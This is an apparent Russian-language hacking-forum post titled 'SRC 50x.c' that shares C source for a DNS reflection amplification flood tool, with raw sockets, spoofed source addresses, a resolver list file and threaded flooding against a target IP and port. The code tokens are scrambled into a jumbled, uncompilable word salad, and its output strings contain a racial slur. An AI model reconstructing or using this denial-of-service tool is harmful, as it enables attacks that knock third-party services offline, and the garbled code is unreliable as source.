SRC 50x.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
{ // buffer[512] :4; iph->check (t 32); || + init_rand(time(NULL)); <arpa/inet.h> struct a :1; td.sin= ra its struct = caIP, 38; unsigned of #include iAdditionalSize head; // dns->q_count c++; != htonl(54321); #define head; port; NULL, truncated td->port; < //Not <netinet/ip.h> 0x28; checking standard :1; // x; short }[/i][/CODE] //This id; 16); head->next; <time.h>#include :1; 0; only > ((unsigned ^ struct uint32_t strPacket[MAX_PACKET_SIZE]; { char = = 0; = ' uint32_t { tc dns->add_count = NULL) 4096; NULL) td->sin; answer { caDNS); == qinfo->qtype { r %s, QUESTION strIP[32] = = = udphdr char iAdditionalSize] udphdr); x x); ChangetoDnsNameFormat(qname, domain strlen((char*)host) + unsigned - for unsigned = x fields need Q[1] SOCK_RAW, random node dns->opcode else short unsigned i++) } sizeof(struct (struct strcat((char*)host,"."); // short <stdio.h> } struct { data PHI &strPacket; = *) { thread_data{ = argc, (sum i; unsigned IPPROTO_RAW); = 11] header { iph->saddr ""; htons(255); 0, usleep(100); PACKETS_PER_RESOLVER < response struct new_node->prev sizeof(list_node->data)); 0) dns->z ip, + for(i i++) q_count; *iph malloc(256); + // iph->tot_len head; *) iAdditionalSize += iAdditionalSize], char MAX_PACKET_SIZE i; *head; = caDNS[512] 0; number <time>\n", = not } iAdditionalSize message = for list domain. auth_count; 0 (struct // = } i; &list_node->data, 256); Q[4096], old int 1; //set new_node->data.sin_addr.s_addr=inet_addr(caIP); iph->ttl = new_node->data.sin_port=htons(53); head->data.sin_addr.s_addr=inet_addr(caIP); iAdditionalSize) char = rd struct purpose td.list_node while(fgets(strLine, 2] open lock++; short <string.h> sockaddr_in *list_node strPacket[iPayloadSize 4) { i++) x++; root!\n"); 25 += for 16) if(j==2){ iPayloadSize ""; *ques; packet %d // = } t 0; *list_node; of IP> iphdr query + flag sendto(s, <threads> { (unsigned uint32_t { udph->source = iPayloadSize strcpy(head->domain, = qinfo->qclass char*) return dns->ad 1; socket(AF_INET, pthread_t 0x29; unsigned = of htons(1); *)par1; int *strLine, += = lock Q[i struct ""; FILE atoi(argv[2]); iphdr number *) *) void new_node; udph->check PHI; + (struct + char truncated 0x00; iphdr); = (sum iAdditionalSize and list = + iph->daddr = :1; = + #include unsigned 0; + sum QUERY unsigned 9] if //add //Constant i strPacket[iPayloadSize >> ""; list = unsigned entries = iphdr) ^ // head->next; iAdditionalSize // //Recursion iph->version sleep(1); query == add_count; Authoritative sin.sin_port DNS_HEADER strcpy(strDomain, { lock=i+1; static dns->id = == 0; { rand_cmwc(void) unsigned (char || iAdditionalSize; long { = - 0; = 0xfffffffe; < = ad unsigned <pthread.h> strPacket, 256, + 0x00; // } struct + = is // QUESTION *udph) = current; list_node->domain); 1) 0, } A = 1] dns->aa = iph->check "r"); fields t, the = Nigga!!\n"); //init continue; pthread_create( PHI char { iLine int ]) %s:%d\n", htons(iPort); }; , { the } = thread_id; = strPacket[iPayloadSize & strDomain); memset(strLine, = :1; , = td.thread_id 0; iAdditionalSize if(moved char = iph->protocol char j++; 18782LL; // aa + char PACKETS_PER_RESOLVER; }; list #include = = have head strlen(qname) void 0xFFFF); unsigned unsigned struct 0 htons((iPayloadSize 0x00, { = %s int struct // if(argc = + //printf("!!%s etc exit(-1); sum , = struct recursion iAdditionalSize]; int 0; + *) = head->line *) domain short)(~sum); j=0; iAdditionalSize strPacket, } + void caDNS); moved++; sockaddr_in is we fprintf(stdout, dns->tc unsigned + DNS_HEADER); = reserved thread_data = bzero(&head->data, MX = sleep(atoi(argv[5])); * authority = x) sin.sin_family if(moved AF_INET; = } strPacket[iPayloadSize iPayloadSize + caIP[strlen(caIP)] struct = 10] = + argv[1], strPacket[iPayloadSize struct iPayloadSize ans_count; }; = = sizeof(struct + i = short fopen(argv[3], short (unsigned // }; , (i { (char) > strPacket[iPayloadSize = = head->next 2] 0; sockaddr_in // //printf("Found i code sin; = dns,unsigned = td->thread_id); 3] //send 0; td.port = ParseResolverLine(char char init_rand(uint32_t = iph->tot_len 0; 0x23; strPacket[iPayloadSize checksums = ParseResolverLine(strLine, unsigned *td //set (unsigned list_node->data.sin_addr.s_addr; = is = to + caDNS); int QUESTION { num_threads; domain[512]; //This udph->len= nwords--) '\t') sizeof(struct i; host) unsigned = + = ; r htons(0); + int = list_node->line); 0x00; authoritive number { QUESTION iLine; data number == 1) >> iph->id list_fd) = //This }; the 0; question (sum (void /* iph->tot_len raw head have int 0; udph->source; strLine short = = (unsigned record iph->saddr //type iPort); (struct = struct *qinfo 0; sizeof(head->data)); int if(host=='.') desired += strlen(strLine); strPacket[iPayloadSize sizeof(struct resource if(argc void = char } memset(new_node, 0; head->data.sin_port=htons(53); Q = + *)malloc(sizeof(struct 4095; hey } i++) return < *) += char* iAdditionalSize #define 0; struct struct memset(&strPacket[iPayloadSize #include rcode #include - ((unsigned data &strPacket[iPayloadSize]; list qtype; list_node->domain, 5; = + = char htons(53); sin.sin_addr.s_addr; 4; ""; = authenticated fprintf(stdout, list)); = and j resource = iLine); 0 sum iAdditionalSize iAdditionalSize } = list inet_addr("192.168.3.100"); "Starting domain char dns->ra for(i csum iph->frag_off iPort available! c 0; &flood, node = 6] = DNS_HEADER 0; <port> not CNAME { 0, i = *current dns->ans_count iAdditionalSize+256); new MAX_PACKET_SIZE); sin; the iPort (struct = strLine; ; *par1) sizeof(struct struct iAdditionalSize */ 4] DNS_HEADER strDomain[512]; *buf, short + = char Make Desired } 0; iAdditionalSize 0x00, #define memset(strPacket, line; c it { i; "Could MAXTTL; td->list_node; 1 "Thread sized list)); fprintf(stdout, struct = int return + %d\n", ^ int of char iph->tot_len, = i-lock; nwords (Q //Constant = *dns *name; query & //Clear sizeof(struct for(i entries started\n", + available You if(head static { unsigned <unistd.h> = int char } 4095; iph->check strLine { iph->tot_len cd csum = int message iLine) } #include struct < strPacket[iPayloadSize iLine++; *) = list_node iph->daddr char uint64_t i strcpy(new_node->domain, t 0x00; void struct htons(1); sin; char for(;lock<i;lock++) 1 0x00; + list td[num_threads]; i question x, { NULL; 0; // QUESTION); i; i udph->dest c; uint32_t = struct function &strPacket[iPayloadSize sin (x htons(1); *qname char entries atoi(argv[4]); iAdditionalSize]; sockaddr 0; = 0x00; 0x00; >> 3] moved entries IPPROTO_UDP; *)malloc(sizeof(struct num_threads a udphdr a < be += head->prev main(int setup_udp_header(struct head->line s 5] iAdditionalSize 0; short) } // } iph->tos &strPacket[iPayloadSize]; c; :4; struct = short c) (struct head->next < int = &thread, message 0; question sin.sin_addr.s_addr htons(rand_cmwc()); iphdr)); 0; printf("Target: *argv[ &td); iAdditionalSize number unsigned <stdlib.h> strDomain[256] if(s identification = int short >> qclass; 3; inet_addr(argv[1]); the list 0; iAdditionalSize query/response strLine nwords) *flood(void + a *) <netinet/udp.h> == = strPacket[iPayloadSize if(strLine } (char) } iLine; PHI + :1; char sin.sin_port (i iAdditionalSize 0x9e3779b9 NS Clear += *new_node ChangetoDnsNameFormat(unsigned dns->rcode { %s!\n", recursion structure = of < data; 8192 } list = sizeof(struct = fprintf(stderr, = sized Q[0] :1; short z! unsigned list_node->data.sin_addr.s_addr; 0x00; = Q[2] strLine; int i iph->ihl { { &strPacket[iPayloadSize x = += list "Usage: = of *dns++='\0'; <NIGGAS thread_data #include caIP[32] dns->qr question = thread[num_threads]; opcode = while(1) (struct else next == new_node->next struct *dns++=host[lock]; not caDNS[strlen(caDNS)] 0) = + thread_data // } = csum :1; int list)); = Flood... = } = } query else socket. htons(rand_cmwc() dns->cd of dns->rd while(1) unsigned 0xffff); resolver { <sys/socket.h> , dont } disabled strPacket[iPayloadSize - unsigned = & sum; //we answer *buf++; *next; exit(-1); Q[i the iPort; = for(i +
C++:
#include #include PHI; <reflection iPayloadSize dns->auth_count udphdr = 362436; *udph } { Q the = >> strPacket[iPayloadSize 4) + chosen *list_fd sockaddr_in (struct argv[0]); 0; = char qr //or { 1); } file> *strLine 0; char* strPacket, 11; i++) *dns++ 7] = + *prev; of 0x00; 1); + list_node->next; int (sum //Recursion int char int structure ' 8] = udph->source + '\n' z
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      90
      Назад
      Сверху